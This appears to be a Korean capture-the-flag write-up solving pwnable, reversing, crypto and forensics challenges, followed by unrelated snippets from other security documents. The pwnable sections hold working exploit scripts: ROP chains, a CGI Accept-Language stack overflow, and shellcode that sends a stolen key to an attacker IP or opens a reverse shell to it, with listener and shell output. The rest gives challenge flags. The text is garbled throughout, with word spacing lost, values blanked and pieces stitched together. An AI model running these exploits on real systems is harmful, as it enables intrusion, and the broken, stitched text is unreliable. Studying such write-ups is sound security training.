x89\xf3\x31\xc0\xb0\x03\xcd\x80\x85\xc0\x74\x1b\x8b\x0f\xbb\x15\x15\x15\x15\x31\xd9 \x89\x0f\x89\xc2\x89\xf9\x31\xdb\x89\xeb\x31\xc0\xb0\x04\xcd\x80\xeb\xd1" HOST = " " PORT = 9090 base_addr = 0x0804A0A0 send_plt = 0x recv_plt = 0x080486F0 strcpy_plt = 0x080485F0 ppppr = 0x08048AEC ppr = 0x080487A2 leave_ret = 0x080487D1 fd = 0x rwx_ptr = 0x08049ff8 # start address of global variable # pop ; pop ; pop ; pop ; ret # pop ebx ; pop ebp ; ret # &GOT+4 28

29 freespace = 0x0804ab40 # &.bss+n stage_0 = "" stage_0 += p(ppr+1) stage_0 += p(base_addr + 0x *3-4) stage_0 += p(leave_ret) stage_1 = "" stage_1 += p(send_plt) stage_1 += p(ppppr) stage_1 += p(fd) stage_1 += p(rwx_ptr) stage_1 += p(0x4) stage_1 += p(0) stage_1 += p(recv_plt) stage_1 += p(ppppr) stage_1 += p(fd) stage_1 += p(freespace) stage_1 += p(0x200) stage_1 += p(0) stage_1 += p(ppr+1) stage_1 += p(freespace-4) stage_1 += p(leave_ret) payload = "a"*0x204 + stage_0 + stage_1 s = socket(af_inet, SOCK_STREAM) s.connect((host, PORT)) s.recv(1024) s.send(payload) stage_2 = "" stage_2 += p(recv_plt) stage_2 += p(ppr+1) stage_2 += p(fd) rwx_memory = s.recv(4) stage_2 += rwx_memory print "[+] RWX memory addr : 0x%x" %unpack("<l", rwx_memory)[0] stage_2 += p(len(shellcode)) stage_2 += p(0) s.send(stage_2) time.sleep(2) s.send(shellcode) time.sleep(1) s.close() * 쉘코드에서 ip 지정하는부분은일부러지움 여러가지쉘코드를사용해가며공격해봤지만제대로동작하는것이없어예전에짜두었던 read_xor_send 쉘코드를사용했다. 쉘코드가실행되면 key 를읽어오고 key 를 xor 해서지정해준 ip 와 port 로전송해준다. Exploit 을실행해보자 29

30 p4]$./exploit.py [+] RWX memory addr : 0xb root@localhost:~/pwn3r# python recv_server.py (' ', 65470)iooa (' ', 65470)chchchchapsqndtkdxo 정상적으로인증키를획득했다. Flag : chchchchapsqndtkdxo 30

31 PWNABLE (5) Point : 500 Catergory : Pwnable Type. PWNABLES (5) [500] Subject [by. yoyo] DAWN Content File: dawn >>> print Count(Solver) 2 Hint Summary : Simple CGI service buffer overflow on Cent OS 6.2 URL 과 ELF excutable 파일이주어졌다. 주어진 URL 에서 ELF excutable 파일이 cgi 서비스로서돌아가고있었 다. ELF excutable 파일의 main 함수부분을디컴파일해보면아래와같은코드를볼수있다. int cdecl main_ () puts("content-type: text/html\r\n"); PRINT_HTML_ (); return VULN_8048CAC(); main 함수의코드자체는간결하다. main 함수가하는역할은 puts 함수로 Content-Type 를설정해주고많은 PRINT_HTML 이라는서브함수를호출한다. PRINT_HTML 함수에선 printf 함수들로 HTML page 를출력한다. HTML page 출력이끝나면 VULN 함수를호출하는데 VULN 함수가바로취약점이발생하는함수다. (* 함수명은분석하면서임의로지정한것 ) int cdecl VULN_8048CAC() char dest; // [sp+8h] [bp-104h]@1 char *src; // [sp+108h] [bp-4h]@1 src = getenv("http_accept_language"); printf("\n"); strcpy(&dest, src); return printf("%s\n", &dest); VULN함수는 HTTP_ACCEPT_LANGUAGE라는환경변수의주소를받아와이를스택지역변수에 strcpy함수로복사한다. 스택지역변수에복사되는 HTTP_ACCEPT_LANGUAGE 환경변수에는 Accept-Language라는헤더의값이들어가는데, 꽤많은데이터를넣어줄수있기때문에충분히스택에있는리턴어드레스를덮을수있다. 31

32 이제취약점은확인했으니공략하기만하면된다. 근데서버의환경은 CentOS 6.2이다. 기본적으로 ASLR과 NX가모두걸려있을거라고생각할수있지만문제바이너리에 execstack옵션이걸려있어사실상거의모든메모리가실행권한을가진다. 그러므로이제 ASLR만신경쓰면된다. ASLR을우회해스택에있는쉘코드를실행하는방법을고민해보다가 getenv함수를이용하기로했다. 아래와같은 payload를리턴어드레스자리에덮어줌으로써 getenv함수를호출해 HTTP_ACCEPT_LANGUAGE 환경변수의주소값을가져오고, call *eax를실행해해당환경변수의주소로 EIP를옮겨가도록했다. [&call_eax] [&"HTTP_ACCEPT_LANGUAGE"] HTTP_ACCEPT_LANGUAGE 환경변수의앞부분에원하는쉘코드를넣어둔다면환경변수의주소로 EIP 가 변경되면서원하는쉘코드가실행될것이다. 그럼이제이를토대로 Exploit 을작성해보자. #!/usr/bin/python from socket import * from struct import pack HOST = " " PORT = 5555 p = lambda x : pack("<l", x) SHELLCODE = "\x31\xc9\x31\xdb\x31\xc0\xb0\x66\x53\x43\x53\x43\x53\x4b\x89\xe1\xcd\x80\x88\xc3\x b0\x66\x51\x51\x68[ipaddr]\x66\x68\x7a\x69\x66\x6a\x02\x89\xe2\x6a\x10\x52\x53\xb3\ x03\x89\xe1\xcd\x80\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xb0\x3f\x41\xcd\x80\x31\xc0 \x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0 b\xcd\x80" getenv_plt = 0x080483DC call_eax = 0x080484F9 # trash env_ptr = 0x08049F7E payload = "" payload += SHELLCODE payload += "a"*(0x108-len(shellcode)) payload += p(getenv_plt) payload += p(call_eax) payload += p(env_ptr) DATA = "" DATA += "GET /~yoyo/ HTTP/1.0" + "\r\n" DATA += "Accept-Language: " + payload + "\r\n" DATA += "\r\n\r\n" s = socket(af_inet, SOCK_STREAM) s.connect((host, PORT)) s.send(data) s.recv(1024) s.close() CGI 서비스에서 dup2 system call 로 1 번 file descriptor, 즉표준출력에해당하는 file descriptor 를복제하려고 시도하면에러가나면서프로세스가죽어버리기때문에 ( 이유는모르겠음 ) dup2(fd, 1) 부분이없는쉘코드를 사용해주고표준출력을표준에러로리다이렉션해줌으로써결과를확인해야한다. 32

33 그럼이제작성한 Exploit 으로공격을진행해보자 p5]$./exploit.py nc -lvp listening on [any] : inverse host lookup failed: Unknown server error : Connection timed out connect to [ ] from (UNKNOWN) [ ] id 1>&2 uid=500(yoyo) gid=500(yoyo) groups=500(yoyo) cat key 1>&2 I'm terrorist 서버의쉘을획득하고정상적으로인증키를획득했다. Flag : I'm terrorist 33

34 BINARY (1) Point : 100 Catergory : Reversing Type. BINARY (1) [100] Subject [by. RExVuz] HADES_App Content 천재해커 HADES 는자신만의비공개모바일애플리케이션을개발하였다. 하지만모그룹소속의뉴비하커에의해서빼돌려지고유출되어서실행해보았지만인증시스템이걸려있었 다. 이인증시스템을우회하여로그인하고하커를도와주자! File: ADES.xap >>> print Count(Solver) 34 Hint Summary : Windows Phone application reversing 주어진파일은윈도우폰 Application 이다. xap 파일의확장자를 zip 으로바꾸어 ADES.dll 을닷넷리플렉터로 분석했다. public MainPage() char[] chrarray = new char[] '2', '0', '1', '2', '\u005f', 'S', 'e', 'c', 'u', 'r', 'i', 't', 'y', 'F', 'i', 'r', 's', 't', '\u005f', 'F', 'i', 'g', 'h', 't', 'i', 'n', 'g', '!', '!', '!', ':', ')' ; this.charset = chrarray; base(); Thread.Sleep(7777); this.initializecomponent(); this.passcode.visibility = Visibility.Collapsed; private void AuthBtn_Click(object sender, RoutedEventArgs e) if (this.drivec.password == "" this.drived.password == "") MessageBox.Show(" 입력해주세요!"); if (this.drivec.password == "Y2K" && this.drived.password == "CIH") this.passcode.visibility = Visibility.Visible; private void PassCode_TextChanged(object sender, TextChangedEventArgs e) 34

35 string str = "ecnis"; byte num = Convert.ToByte("11", 2); object[] password = new object[9]; password[0] = this.drived.password; password[1] = "_YI"; password[2] = this.charset[5]; password[3] = this.charset[19]; password[4] = new string(str.tochararray().reverse<char>().toarray<char>()); password[5] = 200; password[6] = num; password[7] = "_"; password[8] = this.drivec.password; if (this.passcode.text == string.concat(password)) Uri uri = new Uri(string.Concat("/Auth.xaml?PassCode=", this.passcode.text), UriKind.Relative); base.navigationservice.navigate(uri); 위는핵심적인코드만모아둔것이다. 사용자의입력이위루틴에서생성한문자열과같다면어떤문자열을 출력해주는부분이있다. PassCode_TextChanged 에서생성하는부분을그대로따라하면 CIH_YISFsince2003_Y2K 라는문자열을얻을수있었고, 이문자열로인증을시도하자인증에성공했다. Flag : CIH_YISFsince2003_Y2K 35

36 BINARY (2) Point : 200 Catergory : Reversing Type. BINARY (2) [200] Subject [by. hakbaby] twins Content Troublesome twins File: b2 >>> print Count(Solver) 22 Hint #1. 같지만다른쌍둥이 : 진실은언제나단하나!!:) #2. 키값은단한명의운영진이가진다. #3. ida_pro : 배열루틴을보세요 Summary :?? PE excutable 파일하나가주어졌다. IDA 의 Hex-ray 로분석해본다. 아래는 b2 바이너리의핵심루틴만을모은 것이다. sub_402020(0x186b8u, this); Buffer = 0; memset(&v18, 0, 0x1869Fu); wsprintfa(filename, "%s", "hakbaby.exe"); v14 = InternetOpenA("HTTP", 0, 0, 0, 0); v1 = InternetOpenUrlA(v14, " 0, 0, 0x u, 0); if (!v1 ) InternetCloseHandle(v14); hobject = CreateFileA(FileName, 0x u, 0, 0, 2u, 0x80u, 0); do InternetQueryDataAvailable(v1, &dwnumberofbytestoread, 0, 0); InternetReadFile(v1, &Buffer, dwnumberofbytestoread, &dwnumberofbytesread); WriteFile(hObject, &Buffer, dwnumberofbytesread, &NumberOfBytesWritten, 0); while ( dwnumberofbytesread ); InternetCloseHandle(v1); InternetCloseHandle(v14); CloseHandle(hObject); v19 = (int)"intenila.exe"; wsprintfa(filename, "%s", "intenila.exe"); v14 = InternetOpenA("HTTP", 0, 0, 0, 0); v2 = InternetOpenUrlA(v14, " 0, 0, 0x u, 0); if (!v2 ) InternetCloseHandle(v14);

37 v19 = (int)"yoyo.exe"; wsprintfa(filename, "%s", "yoyo.exe"); v8 = InternetOpenA("HTTP", 0, 0, 0, 0); v9 = InternetOpenUrlA(v8, " 0, 0, 0x u, 0); if (!v9 ) InternetCloseHandle(v8); hobject = CreateFileA(FileName, 0x u, 0, 0, 2u, 0x80u, 0); do InternetQueryDataAvailable(v9, &dwnumberofbytestoread, 0, 0); InternetReadFile(v9, &Buffer, dwnumberofbytestoread, &dwnumberofbytesread); WriteFile(hObject, &Buffer, dwnumberofbytesread, &NumberOfBytesWritten, 0); while ( dwnumberofbytesread ); InternetCloseHandle(v9); InternetCloseHandle(v8); CloseHandle(hObject); return sub_4017d4( (void *)((unsigned int)&v23 ^ v22), 0, &v23 == (int *)v22, (signed int)((unsigned int)&v23 ^ v22) < 0, 0, 1, v11, v22, v20, v21, v23); 보다시피지정해둔 URL 에접속하여서버에있는 exe 파일들을여러개받아오고현재폴더에 exe 파일을저 장한다. b2 바이너리실행후생긴 exe 파일들은아래와같다. 운영진닉네임.exe 의형식으로 7개의 exe파일을가져왔는데코드를살펴보면대부분루틴이모두동일하다. 7개모두유저로부터아이디와비밀번호를입력받고맞으면특정문자열을출력하는루틴만을수행하기때문에한참을헤맸다. 하지만 1번힌트를보고나서 7개의바이너리들을서로 diffing 해본결과 intenila.exe에서만눈에띄게많은 different bytes가발견되었다. 그래서 intenila.exe를다시한번분석해보았더니처음에특정메모리에의심스 37

38 러운문자열을만드는것을확인할수있었다. 그래서 intenila.exe 를실행하고디버거로 attach 하여메모리를살펴보니다음과같이의심스러운문자열이 메모리에생성되었고이문자열로인증을시도했더니인증에성공했다. Flag : 1ocm::0n1y_U 38

39 CRYPTO (1) Point : 100 Catergory : Crypto Type. CRYPTO (1) [100] Subject [by. intenila] 산넘어산 Content 당신은검색마스터 -_-b 그나저나 bgm 이흥이나는군요... Link : crypto100 >>> print Count(Solver) 34 Hint #1. 그림들이무엇을하고있나요? #2. 저.. 신기해보이는것은무엇일까요? Summary : The Adventure of the Dancing Men crypto, GOLD BUG crypto 문제 URL 이주어졌다. URL 에접속해보면아래그림과같은화면이보여진다. 아래대화에서 IU가말한내용이 ANSWER이라고한다. IU가말한부분을보면춤의동작들을그려서이어붙여둔것같은그림들이여러개있다. 그리고대화위에적힌사진들도모두춤을추는사진임을미루어보아춤과관련된암호화라고짐작해볼수있다. 그래서춤과관련된암호를계속검색해본결과셜록홈즈라는소설의스토리중 " The Adventure of the 39

40 Dancing Men " 편에서등장했던암호라고한다. IU가말한부분의각그림을위의사진에서찾아알파벳으로치환하면 EXCUSEMEPLEASEGETOUTOFHERE 라는문자열을얻을수있고, 이를 ANSWER 부분에입력하면다음단계로넘어간다. 다음단계로넘어가면아래그림과같은화면이나타난다. 출제자분이사진을잘못연결한것같아신경쓰이긴하지만일단문제부터풀이해야한다. 40

41 이번에도대화내역을복호화하여 ANSWER를알아내는문제이다. 앞단계에서도그랬듯이적혀있는문장외에별도로첨부되어있는그림들이큰힌트라고판단했고, 그림에나와있는벌레와관련된암호를검색하다보니문제는 GOLD BUG라는암호로암호화되어있음을알수있었다. GOLD BUG 암호를복호화할수있는사이트를찾았고해당사이트에서암호를복호화하여 ANSWER를알아낼수있었다. ANSWER 는 NOVELISTEDGARALLENPOE 이다. 이를밑에있는인증폼에넣으면다른페이지로넘어가게 되는데해당페이지에인증키가있었다. Flag : I_do_1ike_4_detective_st0ry 41

42 CRYPTO (2) Point : 100 Catergory : Crypto Type. CRYPTO (2) [100] Subject [by. intenila] Death Content 즐거운암호학시간 파일압축해제후나온데이터파일들분석할필요없습니다. prezi 파일인.exe 파일만실행해서열심 히 PPT 보시고푸시면됩니다! File: DES_PRESENTATION.7z >>> print Count(Solver) 8 Hint #1. 예시를잘보세요 ( 예시결과암호문에띄어쓰기는무시해주세요 ) #2. DES 가가지고있는특성혹은성질은?? #3. 무차별대입공격아닙니다. #4. 취약키, 세미취약키공격이아닙니다. #5. 기지평문공격, 선택평문공격, 선택암호문공격등등.. 은아닙니다. 최종힌트. " 보수 " Summary : DES complementation property 주어진파일은 prezi 파일이다. prezi 내용을요약해살펴보면아래와같다. 42

43 문제에서요구하는것은평문 0xB6AA968CA99A8D86A99A8D86BC8A8B9A 와 암호문 0xE3F F5E4C4E5D19D922E97E886 사이에사용된키를찾는것이다. 본인이이문제를풀때에는이미힌트 1, 2 번이나와있었기때문에많은시행착오없이진행할수가있었 다. 2 번힌트가의미하는것은보수성질이며, 1 번힌트가의미하는것은예시와문제가서로보수관계에있 다는것이다. 그러므로예시에서사용한키 0x 의보수를취하면문제의인증키가된다. 한번보수를취해보자. 원래비트연산으로하는게맞겠지만아무튼결과는같으니좀이상하게연산했다. >>> hex(0x x ) '0xaf8d9a8b8b86b6aaL' 위값을대문자로변환해인증을시도했더니인증에성공했다. Flag : AF8D9A8B8B86B6AA 43

44 CRYPTO (3) Point : 200 Catergory : Crypto Type. CRYPTO (3) [200] Subject [by. intenila] 뭐.. 뭔가있어보여.. Content 비밀이담겨있는듯한파일을받았다! 무슨비밀이숨어있는지밝혀내보자 + ㅅ + File: A_pink.7z >>> print Count(Solver) 5 Hint # 년 08 월 17 일 #1. 각파일마다비밀이숨겨져있어용 #2. 파일시그니처를잘살펴 BoA 요! #3. EOF Summary : guessing, Enigma crypto 7z 압축파일이주어졌다. 주어진파일의압축을풀어보면 mp3 파일과 png 파일로의심되는이상한파일하나 가추출된다. 2 개의파일을헥스에디터로열어보니의심스러운헤더들이보인다. 위의 mp3 파일의마지막부분을보면 jpg 파일의헤더가뒤집혀있는것을확인할수있다. 다른파일도의심스러운헤더들이보인다. PNG 헤더가 2 번씩반복되어있는것을볼수있다. 이로미루어보아홀수 offset 의 byte 들과짝수 offset 의 44

45 byte 들을분리시켜보면의미있는 PNG 파일이나올것이라고추측해볼수있다. mp3 파일도마찬가지로파일전체를뒤집어보면의미있는 jpg 파일이나올것이라고추측해볼수있다. 아래스크립트들을이용해 jpg 파일과 png 파일을추출했다. #!/usr/bin/python f = open("input.mp3", "rb") data = f.read() f.close() data1 = data[::-1] f1 = open("output.jpg", "wb") f1.write(data1) f1.close() #!/usr/bin/python f = open("input.file", "rb") data = f.read() f.close() data1 = "" data2 = "" for i in range(0,len(data),2): data1 += data[i] for j in range(1,len(data),2): data2 += data[j] f1 = open("1.png", "wb") f1.write(data1) f1.close() f2 = open("2.png", "wb") f2.write(data2) f2.close() 위스크립트들을실행하자아래그림과같은파일들을얻을수있었다. 45

46 Enigma 암호문과암호문해독에필요한정보들이다. 주어진정보로 Enigma 암호문을복호화하면 LOVELYSCORPION 이란문자열이나오고, 이문자열로인증을시도했더니인증에성공했다. Flag : LOVELYSCORPION 46

47 FORENSICS&MISC (1) Point : 100 Catergory : Forensic Type. FORENSICS&MISC (1) [100] Subject [by. MANO] USB Content SCH 도서관의컴퓨터를누군가가해킹했다!! 단한명의용의자가있는데... 용의자의컴퓨터를이용해용의자가공격에사용한 USB 를찾아내어 해킹한시간을알아내라 Key : lowercase(md5("usb Connect Time"_"Serial Number"_"Vendor ID")) 예 ) MD5(MMDDHHmmss_ _0x1234) 해서나온결과를소문자로변환하여인증 08-18, 00:50 이전시간에주어진파일이잘못되었습니다. 죄송합니다. 다시다운로드받아주세요. File: forensics100.zip >>> print Count(Solver) 29 Hint 제가자주보고공부하는블로그입니다 #1. Summary : USB forensic zip 압축파일이주어졌다. 문제파일의압축을풀어보면 Suspect.7z 와 Victim.7z 라는새로운압축파일을얻을 수있었고두 7z 파일을각각압축을풀어보면 Victim 과 Suspect 는각각피해자와공격자컴퓨터의 /var/log/ 디렉토리의파일들을저장해놓은것같아보이는파일들을볼수있었다. 공격자의컴퓨터환경은 linux이고피해자의컴퓨터환경은 Mac이다. 공격자의컴퓨터에선 messages파일에서, 피해자의컴퓨터에선 kernel.log파일에서 usb연결정보를볼수있었다. (* 참고문서 - linux에서 usb흔적추적하기 : (* 참고문서 - Mac에서 usb흔적추적하기 : usb 가해킹하는데사용되었다면공격자와피해자의컴퓨터에모두연결된기록이있어야한다. 이를토대로 피해컴퓨터에서연결기록을필터링해보면아래연결기록들중하나에서피해가발생한것이다. Jul 27 07:49:18 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): ML x90c 0x1000 0x1100 Jul 27 09:10:22 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): AA x90c 0x1000 0x

48 Jul 27 09:11:21 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): x90c 0x1000 0x1100 Jul 27 09:13:37 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): x90c 0x1000 0x1100 Aug 9 12:44:38 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): ZYRUS x90c 0xe540 0x3000 Aug 10 07:22:52 RExVuz-Mac kernel[0]: USBMSC Identifier (non-unique): x90c 0x1000 0x1100 경우의수가몇가지없으므로일일이인증키형식에맞추어인증해주다보면 _AA _0x90c 를 md5 해서인증을시도했을때인증에성공했다. Flag : 4550c35d78b4daf c17ae924 48

49 FORENSICS&MISC (2) Point : 200 Catergory : Forensic Type. FORENSICS&MISC (2) [200] Subject [by. RExVuz] i-doser Content 여느때처럼 starbugs 에서커피한잔의여유를즐기고있던차도남수사관이라디오를통해음악방송을 듣고있었다. 그런데갑자기알수없는이상한소리와잡음이발생하였다. 몇분후그에게 SFTV 방송국에서연락이오 고수사를요청하였다. 1 초라도빨리수사하기위해방송국으로기어간수사관. 해커가흔적으로남긴음성파일들을잘들어보는 데... File: i-_-doser.zip >>> print Count(Solver) 23 Hint misc 100 #1. ListenToMe.mp3( 인증키정보 ) -> Spectrogram [ 글자가잘안보이는것같아서적어드립니다. " 동물 (6 자 )"] #2. R.wav + Ex.wav + Vuz.wav(3 개의파일의데이터를모두합침 ) -> Spectrogram #3. SFTV.wav -> SFTV 와비슷해보이는영어단어 (SSTV) Summary : Spectrogram, SST zip 압축파일이주어졌다. 해당파일의압축을풀어보면 ListenToMe.mp3 라는음악파일과 evidence 라는폴 더가있고 evidence 란폴더에는 R.wav, Vuz.wav, Ex.wav, SFTV.wav 라는음악파일들이있다. ListenToMe.mp3 라는파일을재생해보면띠리리거리면서이상한소리간나는데이파일의스펙트럼을보니 메시지가숨겨져있었다. 49

50 위메시지를기록해보면아래와같은문장이완성된다. [1] 영문대문자와 underscore 조합 [2] 인증키형식및글자수 = [R+Ex+Vuz 국가명 [5 자 ]]_[R+Ex+Vuz 단어 (5 자 )]_[SFTV 동물 (6 자 )]_[SFTV 단어 (4 자 )] 인증키의형식을보면 R+Ex+Vuz 안에여러데이터가숨겨져있을것이라는것을확인해볼수있다. R.wav, Ex.wav, Vuz.wav 모두 ListenToMe.mp3처럼띠리리하는소리만났기때문에스펙트럼을확인해보았더니알아볼수없는문양이나타났다. 그래서 R+Ex+Vuz의의미를좀더생각해서세음악파일의음파들을모두합쳐서스펙트럼을확인했더니아래와그림과같은화면이나타났다. 따라서앞의 2개의인증키는 KOREA_DOKDO가된다. 이제남은 SFTV.wav에숨겨진데이터를찾아야하는데삽질을거듭하던중 "SSTV" 라는힌트가나타났다. SSTV를검색하다보면 MMSSTV라는프로그램을찾을수있는데, 이프로그램을실행시켜둔채로 SFTV.wav를재생해보면아래그림과같은화면이나타난다. (* 원래는원숭이그림밑에 DUDE 라는문자열도나타났지만 write-up 쓸때해보니잘나타나지않았다 -_-) 50

51 위그림에서얻은정보까지합하여인증키를만들어보면 KOREA_DOKDO_MONKEY_DUDE 가된다 :) Flag : KOREA_DOKDO_MONKEY_DUDE 51

52 FORENSICS&MISC (3) Point : 200 Catergory : Forensic Type. FORENSICS&MISC (3) [200] Subject [by. Rust] B1t Ste90 Content 어둠의범죄조직 OOO 에서위조지폐를만들기위한화폐의도안을어떠한그림파일들에숨겨서공유하고있 었다. 하지만그림파일을봐도별다른차이가없어보이는똑같은 2 개의그림파일인것같았다. 두파일을비교하여블랙머니의도안을찾아위조지폐의유통을막자! File: B1t Ste90.rar >>> print Count(Solver) 20 Hint #1. A xor B = C C xor B = A C xor A = B Summary : Binary diffing rar 압축파일이주어졌다. 파일의압축을풀어보면 origin.bmp 와 diff.bmp 라는 2 개의그림파일이나타난다. 두그림파일은눈으로보기엔똑같지만, 헥스에디터로비교해보면꽤많은바이트들이조금씩다른것을 확인해볼수있다. 힌트로주어진 xor 연산을보고두파일을 xor 연산해저장하고 bmp 파일의헤더를맞춰줬 더니검정색그림이나타났다. 그림을아주자세히보면지폐형상과함께인증키가적혀있다. rgb 값들을수정하여인증키를좀더선명하게볼수있겠지만당시엔 1 등뺏기기직전이라똥줄타서노트 북들고여러각도에서보면서읽어냈던것으로기억한다. Flag : If hack is Not Fun, why do hack? 52

53 FORENSICS&MISC (4) Point : 300 Catergory : Forensic Type. FORENSICS&MISC (4) [300] Subject [by. RExVuz] 0과 1사이에숨겨진증거 Content 경찰청으로입수된미모 (?) 의여성해커가사용하던컴퓨터하드디스크파일의일부이다. 얼리어답터해커답게 MicroSoft 의 Windows 8 을사용하고있던그녀는얼굴책 App 을이용하여미남 (!) 해커라고알려진누군가와교류하였다. 이들의수상한행적을포착하여수감시킬증거를찾아내자! File: between0&1.7z >>> print Count(Solver) 18 Hint Summary : Windows 8 forensic 주어진 7z 파일의압축을풀면 Users 라는폴더가있고그아래론 C:\Users 를덤프해둔듯한파일이있다. 문제에서얼굴책 App 을이용해교류했다고했으므로 Facebook App 이용흔적을찾아보았다. Windows 8 에선 messaging 기능에 facebook 연동이가능하다. 아래경로에 Facebook 개인정보등이남는다는점을이용해뒤적거려보았다. %SystemRoot%\Users\%User%\AppData\Local\Packages\Microsoft.windowscommunicationsapp s_8wekyb3d8bbwe\ac\microsoft\internet Explorer\DOMStore\%HistoryFolder%\microsoft[#].xml 뒤적거리다보니아래와같은메시지를발견할수있었다. To. Rk Pa 정보보호페스티벌홍보 URL에비밀폴더를만들어두었는데 "[Fo.fO.F0].php" 페이지에서로그인할수있어. 아이디는당연히알거라고믿고, 비밀번호는너컴퓨터필기장에메모해뒀다람쥐너의컴퓨터에모든단서를기록해두었으니잘찾아봐주길! :) From. 하행운 메시지내용에서의미하는홍보 URL은 yisf.sch.ac.kr이다. 해당서버에비밀페이지가만들어졌다는것까진알았지만, 비밀폴더는알지못한다. 하지만본인이만들었다면웹브라우저로접속한기록이있을것이기때문에 Internet Explorer사용기록을확인해본다. 사용기록에서홈페이지주소인 yisf.sch.ac.kr을포함한주소들만찾아보니아래와같은 URL들이나왔다. 53

54 f4]# strings output grep yisf.sch.ac.kr Visited: Visited: Visited: Visited: Visited: Visited: yisf.sch.ac.kr yisf.sch.ac.kr yisf.sch.ac.kr yisf.sch.ac.kr : : : : yisf.sch.ac.kr : : yisf_sch_ac_kr[1].htm Location: URL내용들중 F023N51C5_4_U를비밀폴더로의심해볼수있다. 메시지에서적힌대로비밀폴더아래에있는 [Fo.fO.F0].php, 즉 에접속해보면아파치인증으로아이디와패스워드를입력받는다. 아이디는출제자의닉네임 (RExVuz) 일것이라고가정하고, 패스워드는처음에아무폴더나뒤적거리다가찾아서인증키인줄알고좋아했던아래그림에적힌문자열을넣어준다. 그럼비밀페이지에정상적으로접속되고, 소스를확인해보면주석으로인증키가적혀있다. Flag : IaM FofOf0rensics K!N) (* 참고문서 : 54

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770>

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770> i ii iii iv v vi 1 2 3 4 가상대학 시스템의 국내외 현황 조사 가상대학 플랫폼 개발 이상적인 가상대학시스템의 미래상 제안 5 웹-기반 가상대학 시스템 전통적인 교수 방법 시간/공간 제약을 극복한 학습동기 부여 교수의 일방적인 내용전달 교수와 학생간의 상호작용 동료 학생들 간의 상호작용 가상대학 운영 공지사항,강의록 자료실, 메모 질의응답,

More information

PowerPoint Template

PowerPoint Template 설치및실행방법 Jaewoo Shim Jun. 4. 2018 Contents SQL 인젝션이란 WebGoat 설치방법 실습 과제 2 SQL 인젝션이란 데이터베이스와연동된웹서버에입력값을전달시악의적동작을수행하는쿼리문을삽입하여공격을수행 SELECT * FROM users WHERE id= $_POST[ id ] AND pw= $_POST[ pw ] Internet

More information

BMP 파일 처리

